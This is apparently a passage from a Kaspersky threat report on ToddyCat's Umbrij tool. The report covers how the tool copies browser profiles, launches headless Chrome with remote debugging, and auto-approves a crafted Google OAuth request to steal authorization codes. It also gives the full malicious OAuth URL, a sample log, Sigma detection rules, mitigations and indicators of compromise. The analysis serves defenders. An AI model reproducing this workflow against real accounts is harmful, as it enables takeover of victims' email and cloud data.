–profile-directory	Specifies the name of the specific profile folder within the user-data-dir
–headless	Launches the browser in headless mode, that is, without a graphical user interface

The browser process runs in headless mode while utilizing the copied user profile. Consequently, all active user cookies are applied, which means sites with saved credentials will skip authentication prompts. Furthermore, the browser will log history to a new folder, keeping it completely hidden from the user’s primary account view.

Through this method, the threat actors gain access to the user’s authenticated sessions — specifically their Google account — along with the ability to erase any trace of their activity within the browser.

Next, the tool uses the Puppeteer Sharp library, a .NET version of Puppeteer, to connect to the remote debugging port. Puppeteer provides a high-level API to control Chrome or Chromium browsers over the DevTools protocol. Its primary use is for automated testing.

If the connection to the remote debugging port is successful, Umbrij sends a GET request to direct the browser to the following URL:

https[:]//accounts[.]google[.]com/o/oauth2/v2/auth/identifier?response_type=code&client_id=279448736670.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcalendar%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcalendar.readonly%20https%3A%2F%2Fwww.google.com%2Fm8%2Ffeeds%2F%20https%3A%2F%2Fwww.google.com%2Fm8%2Ffeeds%2F%20https%3A%2F%2Fmail.google.com%2F%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fgmail.insert%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fgmail.labels%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fdrive%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fadmin.directory.user%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Ftasks%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fadmin.directory.group.readonly%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fapps.groups.migration%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile&flowName=GeneralOAuthFlow

The value specified in the client_id field belongs to Google Workspace Migration for Microsoft Outlook (GWMMO). This is Google’s official tool for importing email, calendar events, and contacts from Microsoft Exchange accounts or local PST files into a Google Workspace account.

Umbrij also includes the ability to switch the client_id value from 279448736670 to 1095133494869 by using the -sync parameter. This second identifier belongs to another application: Google Workspace Sync for Microsoft Outlook (GWSMO), which allows users to sync email, calendars, and other data from the cloud account directly into Microsoft Outlook.

The remaining parameters used in the request differ from those typically utilized by the legitimate applications. See the table below for a comparison of these parameters:

GET request parameter	URL used by Umbrij	Original URL
flowName=GeneralOAuthFlow	Present	Absent
code_challenge (PKCE)	Absent	Present (method=S256)
state	Absent	Present
login_hint	Absent	Present
redirect_uri	http://localhost	http://localhost:61619/callback

As seen from the list above, Umbrij omits several parameters characteristic of the legitimate applications. For instance, Umbrij drops the code_challenge parameter, normally used for data protection when retrieving an authorization code. Additionally, the tool modifies the redirection address: while the legitimate application specifies a dedicated port and a callback path, the tool simply points to localhost.

The authorization code request specifies the set of permissions for Google services required by the application. This list also differs significantly between requests issued by the legitimate application and those generated by Umbrij. The table below details the variations in the requested scopes:

Service parameter	URL used by Umbrij	Original URL
https://www.google.com/m8/feeds/	Present (specified twice)	Absent
https://www.googleapis.com/auth/contacts	Absent	Present
https://www.googleapis.com/auth/admin.directory.resource.calendar.readonly	Absent	Present
https://www.googleapis.com/auth/peopleapi.readonly	Absent	Present

After the browser navigates to the URL provided by Umbrij, the Google account selection page opens.

Because the attackers copied the victim’s profile folder and are operating within their specific environment, the account selection options will include the currently signed-in user’s authenticated session. Umbrij identifies the corresponding element within the page’s HTML source code.

The tool uses JavaScript to emulate a mouse click on the elements, allowing it to proceed to the next step.

The subsequent step opens a page displaying the list of requested permissions.

As shown in the screenshot, Umbrij requests full access to email, cloud storage, and contacts. Just like in the previous step, it uses JavaScript to click the “Allow” button, which completes the authentication process.

The browser is then redirected to the local address that was specified in the redirect_uri parameter of the initial request. The tool intentionally omits a port and a path to a specific page in the redirect_uri because the true objective of this action is simply to capture the code parameter from the context of the GET request. This parameter contains the OAuth authorization code. To retrieve it, Umbrij extracts the substring located between the code= and &scope parameters.

Results

Umbrij, like most other tools in ToddyCat’s arsenal, logs its actions in detail and saves them to a file. It also saves the retrieved authorization code to this log file, which the operator subsequently exfiltrates from the compromised host.

Below is an example of a log file generated by version a of the tool.

------------------------------
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[*] switch to sync mode.
[!] port 11111 is available!
[*] Impersonate <username> success!
[*] browser switch to chrome .
Parsing C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Local State ...
[*] detected profile: Profile 4 ==> <email>@gmail.com
[*] ready auth for <email>@gmail.com.
[*] Browser Exe path C:\Program Files\Google\Chrome\Application\chrome.exe.
[!] CreateProcessAsUserW...
[*] Browser created with pid 3108
[???] <email>@gmail.com
[pup] mail : <email>@gmail.com
[pup] account choice click !
[pup] Allow click !
[<email>@gmail.com] 4%2F0AcvDMrDtzQaC-TT8<hash>uMhg 
[*] RevertToSelf succeed!
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

The log indicates that the sync mode is selected (meaning the Google Workspace Sync for Microsoft Outlook application is used) and the debugging port is set to 11111. After locating the user profile and copying its folder, Umbrij launches Google Chrome. After this, the tool emulates clicks on the appropriate buttons to confirm permissions, ultimately outputting the final result of the operation: the stolen OAuth authorization code.

Since all requests occur within a background browser instance, the tool includes a feature to generate a PDF snapshot of the web page where the permission confirmation process halted in the event of an error.

Additionally, the tool can create a PDF file for the user profile in Google Chrome and Microsoft Edge by navigating to the following internal addresses:

• edge://profile-internals
• chrome://profile-internals

Example contents of a generated PDF file

The acquired authorization code is then exchanged for an OAuth access token. The threat actors use that token to connect to the Gmail account through the API, thus compromising corporate email communications. The diagram below illustrates the complete attack workflow.

Detection

DLL sideloading

First and foremost, defenders should monitor library loading events (DLL loads) associated with the known applications vulnerable to DLL sideloading that are exploited by this tool: Bitdefender ConnectAgent, Visual Studio, and Google Desktop Search.

title: Possible Dll Hijacking Of Microsoft VisualStudio QualityTools dll
id: 246f1409-2993-46f6-9b77-e447a327df5d
status: experimental
description: Detects possible DLL hijacking of Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll by looking for suspicious image loads, loading this DLL from unexpected locations
author: kaspersky
date: 2025-08-11
tags:
    - attack.defense-evasion
    - attack.t1574.001
logsource:
    product: windows
    category: image_load
detection:
    selection:
        ImageLoaded|endswith: 'Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll'
    filter:
        ImageLoaded|contains: '\IDE\Extensions\TestPlatform\Extensions\'
    condition: selection
falsepositives:  Legitimate activity
level: high

Browser launch

Launching a browser with a remote debugging port specified is a highly unusual event on standard user hosts that are not running web application development or automated testing workflows. Consequently, monitoring for these specific command-line arguments can serve as a reliable indicator of this attack.

title: Launching Chrome With Debug Parameters
id: f072803f-3cf4-4537-82e6-e8b3a201d99f
status: stable
description: Detects the execution of Chromium based browsers launched with incognito mode and remote debugging enabled
author: kaspersky
date: 2025-12-11
tags:
    - attack.lateral_movement
    - attack.defense_evasion
    - attack.t1550.001
logsource:
    category: process_creation
    product: windows

detection:
    selection:
        CommandLine|contains|all:
            - '--remote-debugging-port'
            - '--headless'
    condition: selection
falsepositives: Opening a browser as part of web application testing. Legitimate activity
level: high

Revoking third-party access

To review the authorization codes granted to applications, navigate to the Google Account settings under the Third-party apps & services section, or access the following URL directly:

https://myaccount.google.com/connections

This page displays a comprehensive list of applications and services that currently have permission to access the account.

If the Google Workspace Migration for Microsoft Outlook or Google Workspace Sync for Microsoft Outlook applications appear in this list but are not actually used within your organization, revoke their access immediately. This will invalidate all potentially compromised OAuth tokens associated with them.

Risk mitigation

Launching a browser with a remote debugging port enabled is inherently suspicious for users who do not engage in web development. For these employees, you can completely disable Chromium-based browser developer tools.

This can be achieved by configuring the DeveloperToolsAvailability policy. To enforce this, set the registry value to 0x00000002 for the following Windows Registry key and restart the browser:

HKLM\Software\Policies\Google\Chrome\DeveloperToolsAvailability

To verify that the policy has been successfully applied, navigate to the browser’s internal policies page at chrome://policy:

Note that while disabling developer tools can successfully disrupt the automated retrieval of the OAuth authorization code, it will not help, however, if the adversary decides to leverage the browser’s graphical user interface (GUI) — though this manual approach is significantly less likely due to the friction it introduces for the attackers. Therefore, as a risk mitigation measure, users should be instructed to explicitly log out of their Google accounts as soon as their sessions are complete.

Takeaways

The ToddyCat APT group continues to search for ways of compromising corporate email communications. We have been tracking the group for a long time and we have observed continuous updates to its arsenal in an attempt to bypass security defenses, even as their core techniques remain consistent. For instance, the group has long relied on DLL sideloading to stealthily drop malicious utilities and scheduled tasks. However, their new tool, Umbrij, automates the attackers’ attempts to gain access to organizational email accounts. This automation not only helps increase the scale and frequency of their attacks but also demonstrates ToddyCat’s strong motivation and advanced technical skills.

To defend against these threats, corporate security teams must monitor for suspicious library loading events initiated by legitimate files, watch for instances of browsers launching in developer mode, and conduct regular audits of third-party applications and services with access permissions to Google accounts. Furthermore, deploying a robust, comprehensive security solution — such as Kaspersky Next — is critical to detect this type of malicious host-based activity in a timely manner.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Malicious files
1AB58838E5790EFB22F2D35AB98C0B7D              Umbrij ver. a
A7D7D6C4C3F227F7117261C63B9E23A9              Umbrij ver. a
3D3A621F852C42D97FD7260681E42508              Umbrij ver. a
3432DD9AC0DF80EF86EB80BD080F839B             Umbrij ver. a
22AAEB4946BA6D2F2E27FEB7DBB295DE             Umbrij ver. b
F61FBFB7AA1CD5DC8F70B055B51563E2              Umbrij ver. b
F169D6D172DFB775895A5E2B1540C854              Umbrij ver. c

Legitimate files leveraged for DLL sideloading

MD5	File name	Name of DLL being loaded
9F5F2F0FB0A7F5AA9F16B9A7B6DAD89F	GoogleDesktop.exe	GoogleServices.DLL
28CB7B261F4EB97E8A4B3B0D32F8DEF1	BDSubWiz.exe	log.dll
BAE82A15D1DBFB024617B9B56A8E5F66	VSTestVideoRecorder.exe	Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll

Paths to DLL sideloading files

Path to the file that loads the DLL	Path to the DLL being loaded
C:\Users\<user>\AppData\Local\Temp\BDS.exe	C:\Users\<user>\AppData\Local\Temp\log.dll
C:\Users\Public\BDS.exe	C:\Users\Public\log.dll
c:\users\public\bdsubwiz.exe	C:\Users\Public\log.dll
C:\Windows\Temp\BDS.exe	C:\Windows\Temp\log.dll
c:\windows\vss\bds.exe	C:\Windows\Vss\log.dll
c:\windows\temp\GoogleDesktop.exe	c:\windows\temp\GoogleServices.DLL
c:\windows\temp\VSTestVideoRecorder.exe	c:\windows\temp\Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll